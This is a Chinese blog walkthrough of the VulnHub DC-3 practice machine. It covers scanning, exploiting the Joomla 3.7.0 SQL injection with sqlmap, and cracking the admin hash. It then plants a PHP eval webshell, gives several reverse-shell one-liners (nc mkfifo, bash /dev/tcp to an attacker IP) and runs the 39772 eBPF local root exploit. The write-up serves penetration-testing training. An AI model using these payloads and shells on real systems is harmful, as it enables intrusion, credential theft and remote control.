DC-3通关详解

最新推荐文章于 2024-11-05 08:40:31 发布
最新推荐文章于 2024-11-05 08:40:31 发布
阅读量1.1k 收藏 10
点赞数 15
分类专栏： DC靶场系列 web安全 DC-3 文章标签： php 开发语言 web安全 安全
王小鱼
本文链接：https://blog.csdn.net/2401_82491772/article/details/142720887
版权

综合靶场DC-3实验步骤

诶呀，这一关好像不是那么容易

Created with Raphaël 2.3.0 努力开始提权到Root 你的努力操作 是否继续提权？ 完蛋 你失败了 yes no

1. 环境搭建

DC-3是另一个专门建立的易受攻击的实验室，旨在获得渗透测试领域的经验。与之前的DC版本一样，这个版本是为初学者设计的，尽管这一次只有一个标志，一个入口点，根本没有线索。必须具备Linux技能并熟悉Linux命令行，还必须具有使用基本渗透测试工具的经验。对于初学者来说，谷歌可以提供很大的帮助，但你可以随时在@彦鱼 上推我让你重新开始。但请注意:我不会给你答案，相反，我会给你一个如何前进的想法。对于那些有CTF和Boot2Root挑战经验的人来说，这可能不会花你很长时间(事实上，它可能只需要不到20分钟)。如果是这种情况，如果你想让它更具挑战性，你可以重做挑战，探索其他获得根和获得旗帜的方法。
目标：最终权限Root和最后的Flag

2. 下载靶场环境
靶场下载地址: https://download.vulnhub.com/dc/DC-3-2.zip

2. 渗透靶场

1、目标：
目标就是我们搭建的靶场，靶场IP为：192.168.145.132/24

安装DC3靶场，无法正常启动虚拟机，需要进行环境配置，即在CD/DVD的高级设置中将IDE选项的设置为0:0
在这里插入图片描述

这一关和第二关DC-2网络模式一样，把kali和DC-3的网络全部设置成NAT模式
在这里插入图片描述

查看DC-3靶机MAC地址是多少，然后进入虚拟机终端输入arp-scan -l 得到了MAC相应的IP地址，从而知道了靶机IP为192.168.145.132
在这里插入图片描述

下面进行信息收集
nmap -A -p- -v 192.168.145.132
-A 综合性扫描
-v 冗余模式。强烈推荐使用这个选项，它会给出扫描过程中的详细信息
在这里插入图片描述

发现只开放了80端口，那么访问一下这个Web页面（自己IP）
在这里插入图片描述

大致意思就是，DC-3关卡的目标是获得最终的flag权限

我们根据上面nmap的扫描结果可以发现其CMS为joomla，采用joomla扫描器joomscan进行扫描
joomscan -u http://192.168.220.133
查找相关漏洞
在这里插入图片描述

所得之joomla cms的版本为3.7.0，并且发现登录页面http://192.168.145.132/administrator/

在这里插入图片描述

我们扫出了后台管理登录界面，进入查看需要账户和密码，再次进行弱口令爆破，依旧不行

searchsploit joomla 3.7.0
查找joomla 3.7.0存在的漏洞，我们发现有一个SQL注入，还存在一个XSS

在这里插入图片描述

查看漏洞利用文章
searchsploit -p 42033.txt

在这里插入图片描述

查看漏洞文件发现注入的方法
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

在这里插入图片描述

发现确实为sql注入漏洞并且searchsploit也将如何注入告诉了我们，直接使用sqlmap工具就可以（中间提示Y/n，继续选择y）

sqlmap -u “http://192.168.145.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

在这里插入图片描述

可以看到有一个名为joomladb的数据库，我们尝试去获取这里面的信息

sqlmap -u “http://192.168.145.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” --tables -p list[fullordering]

查看一下表内容，简直是那个users太明显了，我们肯定会关注#__users这个表

在这里插入图片描述

下面接着获取joomladb的users表的字段名
sqlmap -u “http://192.168.145.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” --columns -p list[fullordering]

在这里插入图片描述

一个代码直接跑出来6个字段，值啊！！！
下面接着获取目标字段username和password
sqlmap -u “http://192.168.145.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” -C “name,password,username” --dump -p list[fullordering]

在这里插入图片描述

账户：admin
密码：$2y 10 10 10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

最终我们将账户与密码爆出，但密码进行了哈希加密，我们使用kali自带解密工具john进行解密，echo创建一个1.txt，把加密的密码字段写入,然后打开查看一下

在这里插入图片描述

随后使用john进行爆破哈希密码
john --show 1.txt

在这里插入图片描述

利用获取到的账号密码进行登录web页面
http://192.168.145.132/administrator
密码：snoopy
用户名：admin

在这里插入图片描述

成功登入，并发现了Welcome to DC-3文件，咱们进去看一眼

在这里插入图片描述

Welcome to DC-3.
This time, there is only one flag, one entry point and no clues.
To get the flag, you’ll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge. 😃

欢迎来到DC-3。
这一次，只有一面旗帜，一个入口，没有线索。
要获得该标志，显然必须获得根权限。
如何成为根取决于你自己，当然也取决于系统。
祝你好运——我希望你喜欢这个小挑战

大概提示就是这个意思，告诉我们这次DC-3实战只有一个目标获得root权限
我们溜达溜达半天，才找到了一个能上传文件的地方，可累死我了

在这里插入图片描述

点击beez3

在这里插入图片描述

点击newfiles，这儿我们发现可以上传文件，考虑上传木马，也可以创建文件进行编辑

在这里插入图片描述

那么问题来了，创建好之后我们写什么呢？这是个好问题！！
我们有好多种办法可以执行，看你喜欢哪一个了，不是吗？
第一种：
在html下创建一个php文件，名字叫做shell，创建成功之后，跳到编辑页面，然后我们输入php一句话，点击左上角绿色的save进行保存
<?php echo ("密码是a"); @eval($_REQUEST [a]); ?>

在这里插入图片描述
在这里插入图片描述

再次访问http://192.168.145.132/templates/beez3/html/
发现多了一个shell.php文件，我们访问一下

在这里插入图片描述
在这里插入图片描述

下面我们打开“中国蚁剑”管理webshell，右键添加数据

在这里插入图片描述

反弹shell到kali，蚁剑看到的终端不如kali清晰，反弹一个shell到kali
我们进行kali监听
nc -lvp 3333

在这里插入图片描述

使用如下目录连接
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.145.132 3333 >/tmp/f

在这里插入图片描述
连接之后，成功反弹shell
在这里插入图片描述

第二种：
我们回到网页上传页面，创建了一个反弹shell2的php文件，并写入
<?php system ("bash -c 'bash -i >& /dev/tcp/192.168.10.137/4444 0>&1'"); ?>

在这里插入图片描述

开启攻击机的监听口，准备接收shell
nc -lvp 3333

在这里插入图片描述

访问反弹shell的网页，使php命令执行
http://192.168.145.132/templates/beez3/shell2.php

在这里插入图片描述

也是成功反弹shell

第三种：
如果上面都不行，我们直接来个暴力的！！！
cat /usr/share/webshells/php/php-reverse-shell.php
打开kali的php源码

在这里插入图片描述

全部复制下来，然后返回web页面，创建一个随意名称的文件

在这里插入图片描述

随后把刚才复制的代码粘贴到上面，然后来到第49行，把IP改成自己的IP，端口号改成监听的端口号（我的端口是3333所以我改成了3333）

在这里插入图片描述

然后点击左上角绿色的Save保存一下，随后返回kali监听3333端口

在这里插入图片描述

然后用浏览器打开刚才创建的文件
192.168.145.132/templates/beez3/html/nihao.php
如果没显示就多刷新几下

在这里插入图片描述
在这里插入图片描述

一样暴力的把shell反弹过来了，是不是很简单？
下面我们接上创建交互式shell
经常用shell的都知道这个shell不好用，我们建立一个交互式shell
常用的就是python创建交互式shell，如果没在bezz3/html目录下我们就要先cd切换到html目录下进行创建交互
cd /var/www/html/templates/beez3/html

在这里插入图片描述

然后进行创建交互
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

在这里插入图片描述

*我们先查看一下发行版的信息
cat /etc/release

在这里插入图片描述

可以确定Ubuntu的版本为16.04
接着我们在打开一个终端，查看kali本地漏洞库里面的exp
searchsploit Ubuntu 16.04

在这里插入图片描述

对应了好几版本都试过了，发现只有39772.txt可以用，我们查看exp
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

在这里插入图片描述

直接用kali的火狐下载就可以
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

在这里插入图片描述

下载好之后我们打开文件夹

在这里插入图片描述

然后把他拖到桌面

在这里插入图片描述

用kali终端开启apache服务
systemctl start apache2.service

在这里插入图片描述

然后移动39772.zip到指定的apache的目录下(html)

mv 39772.zip /var/www/html

在这里插入图片描述

回到前面的DC-3的shell中下载刚刚上传的exp
wget http://192.168.145.131/39772.zip

在这里插入图片描述

解压一下exp，解压之后直接进入39772文件夹
unzip 39772.zip （解压）

在这里插入图片描述

cd 39772 （进入） 进去之后看到exploit.tar 我们把他做掉

在这里插入图片描述

tar -xvf exploit.tar （解压缩）

在这里插入图片描述

我们进入ebpf_mapfd_doubleput_exploit运行exp
cd ebpf_mapfd_doubleput_exploit

在这里插入图片描述

然后
./compile.sh 执行程序

在这里插入图片描述

./doubleput
执行程序doubleput

在这里插入图片描述

最终权限Root（Flag）

.
我们直接完美的得到了root权限，然后我们切换到root的权限
cd /root

在这里插入图片描述

ls查看一下，发现了最终的flag

在这里插入图片描述

我们打开这个追寻已久的flag

在这里插入图片描述

当你看到这里的时候 你已经做完了！！！！！！！！！！！！

3. 经验总结

arpscan主机扫描

cms漏洞扫描

sql注入漏洞sqlmap配合payload

John爆破密码

反弹shell

Root提权

彦鱼
关注
专栏目录
DC-DC变换电路详解
04-12
非常详细的介绍了升降压的过程，以及计算公式，常用的斩波电路等
DC-DC变换器Simulink仿真模型
08-07
**DC-DC变换器Simulink仿真模型** 在电子工程领域，DC-DC变换器是一种用于改变直流电压的装置，广泛应用于电源管理、电池供电设备、汽车电子系统以及各种嵌入式系统中。Simulink是MATLAB环境下的一个动态系统建模...
DC-3 通关详解
2401_83566240的博客
10-03 1890
DC-3是另一个专门建立的易受攻击的实验室，旨在获得渗透测试领域的经验。与之前的DC版本一样，这个版本是为初学者设计的，尽管这一次只有一个标志，一个入口点，根本没有线索。由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla，我们可以采用joomscan进行扫描，如果我们不知道是joomla，我们可以采用目录扫描或者nikto等扫描工具进行扫描。我们前面已经知道了CMS是joomla，并且知道了后台地址，针对于这一个靶场这一步没有任何意义，这里只是提供一个思路，目录扫描，这里就不拓展了。
[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程)
qq_51577576的博客
04-05 1954
[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 从信息收集到拿到低权限，最后提权获取最高权限，详细解读
dc-3通关详解
2401_84645748的博客
10-09 913
DC-3通关基本详解
靶场DC-3通关详解
2401_87609787的博客
10-08 649
DC-3是另一个专门建立的易受攻击的实验室，旨在获得渗透测试领域的经验。与之前的DC版本一样，这个版本是为初学者设计的，尽管这一次只有一个标志，一个入口点，根本没有线索。由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla，我们可以采用joomscan进行扫描，如果我们不知道是joomla，我们可以采用目录扫描或者nikto等扫描工具进行扫描。我们前面已经知道了CMS是joomla，并且知道了后台地址，针对于这一个靶场这一步没有任何意义，这里只是提供一个思路，目录扫描，这里就不拓展了。
DC-1通关详解
2401_84741371的博客
09-19 802
此时我们查看 /etc/passwd 文件，发现存在 flag4 用户，我们也可以使用 hydra 进行爆破。查看www目录文件，发现1.txt文件，打开发现提示信息，内容寻找站点的配置文件。扫描网段中有哪些主机在线，使用-sP参数，不扫描端口，只扫描（存活主机）。登陆战点之后，随便翻一番，发现flag3，点击flag3进入，发现提示信息。8.进入home目录，发现flag4.txt文件，提示需要提升文件。发现了22开放端口，开放了ssh服务，OpenSSH 6.0p1。
DC-2 通关详解
2401_83566240的博客
09-26 1425
值得注意的是，它不仅能够扫描类似robots.txt这样的敏感文件，而且还能够检测当前已启用的插件和其他功能该扫描器可以实现获取站点用户名，获取安装的所有插件、主题，以及存在漏洞的插件、主题，并提供漏洞信息。Cewl是一款采用Ruby开发的应用程序，你可以给它的爬虫指定URL地址和爬取深度，还可以添额外的外部链接，接下来Cewl会给你返回一个字典文件，你可以把字典用到类似John the Ripper这样的密码破解工具中。为了方便大家记录，或者为将来的研究提供参考，Cewl可以将打印出的字典存储为文件。
DC-2通关详解
li19711289532的博客
09-26 629
值得注意的是，它不仅能够扫描类似robots.txt这样的敏感文件，而且还能够检测当前已启用的插件和其他功能该扫描器可以实现获取站点用户名，获取安装的所有插件、主题，以及存在漏洞的插件、主题，并提供漏洞信息。Cewl是一款采用Ruby开发的应用程序，你可以给它的爬虫指定URL地址和爬取深度，还可以添额外的外部链接，接下来Cewl会给你返回一个字典文件，你可以把字典用到类似John the Ripper这样的密码破解工具中。为了方便大家记录，或者为将来的研究提供参考，Cewl可以将打印出的字典存储为文件。
DC-1 通关详解
2401_83566240的博客
09-20 1211
​ 在执行过程中，调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.​ SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时，如果该程序有SUID权限，那么程序运行为进程时，进程的属主不是发起者，而是程序文件所属的属主。
电源设计细节：DC-DC转换器之接地环路详解
07-27
DC-DC转换器为整个系统中的各个电路供电。尽管每个电路在测试台上可能表现很好，但系统整体性能却往往达不到各个电路的性能效果。为什么？有许多潜在因素，而系统中各个电路的整体接地系统是首要原因。设计师需要...
DC-DC升压和降压电路电感参数选择详解.pdf
09-17
DC-DC升压和降压电路电感参数选择详解pdf,DC-DC电路电感的选择简介：在开关电源的设计中电感的设计为工程师带来的许多的挑战。工程师不仅要选择电感值，还要考虑电感可承受的电流，绕线电阻，机械尺寸等等。本文专注...
PHP-FPM 性能配置优化
最新发布
陈万洲的专栏
11-05 764
FastCGI 是的简称，是一种交互程序（此处是 PHP）与 Web 服务器之间的 通信协议。FastCGI 是早期通用网关接口（CGI）的增强版本。注意 FastCGI 和 CGI 都是一种通信协议，独立于任何语言。Web 服务器无须对语言有任何了解。除 PHP 有 php-fpm 外，像 Python, Ruby, Perl, Tcl, C/C++, 和 Visual Basic 都有其各自的 CGI 和 FastCGI 实现。
微信小程序寓言童话创作APP设计与实现
qq2295116502的博客
11-05 542
本文通过对现有寓言童话创作APP的调研和分析，取其精华去其糟粕，遵循软件工程方法进行系统分析、总体设计和详细设计，最终设计开发基于Android的寓言童话创作APP。本系统分为管理员、作者、用户三种用户。管理员用户可以通过本系统进行寓言童话管理、用户管理、审批作品管理。用户可以通过本系统进行题目的查询、登录、阅读寓言童话等内容。1.系统登录登录过程是通过web服务器，在后台的数据库通过用户名称密码进行査询。有该注册用户方可使用该系统。2.信息查询。
Automattic 和 Matt Mullenweg 要求驳回 WP Engine 诉讼案中的关键索赔
WP站长
11-03 1047
Automattic 和 Matt Mullenweg 已提交回应，要求法院驳回 WP Engine 诉讼中的第 1-6 项和第 9-11 项指控。WP Engine 于 2024 年 10 月 18 日向北加州法院提交了一份动议，要求获得初步禁令，寻求恢复对 WordPress.org 的访问，并恢复到 2024 年 9 月 20 日的状态。作为回应，Automattic 提交了三份关键文件：驳回 WP Engine 投诉的动议、撤销动议以及反对 WP Engine 初步禁令的动议。
【无标题】
m0_52150489的博客
11-03 276
【代码】【无标题】
基于PHP的设云尘资讯网站设计与实现
程序猿麦小七
11-04 420
本系统设计是基于PHP的信息资讯网站的设计与实现，可以提供给用户便捷的平台。用PHP主流技术建设云尘资讯网站实现信息化的传播，采用THML以及CSS样式建立WEB网页，使得用户访问前端页面优美丰富，能够分享社会事迹、娱乐资讯、科学探究以及搞笑趣事等信息，充分的发挥现在信息化技术的优势，提供给用户闲暇时的阅读和了解，简单快速的获取自己想要的信息。使用到的工具和技术都是开源免费的。首页、登录注册、失物找寻、社会纪实、搞笑专栏、娱乐资讯、科学探究。网站首页、网站管理、内容管理、扩展管理、模板插件、系统管理。
n1book web1信息收集
shierbai的博客
11-03 263
2..index.php.swp这样的会触发下载，需要使用vim -r index.php.swp去做修复才能看。可以使用dirsearch的--delay n和-t n控制延时和线程数量避免429。访问robots.txt，访问里面给出的接口拿到第一部分flag。最后使用curl -o 1.swp xxxxxx（靶场url）1.使用目录扫描工具会遇到429请求过多。再vim -r 1.swp得到第三段。访问index.php~得到第二段。使用dirsearch扫描。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值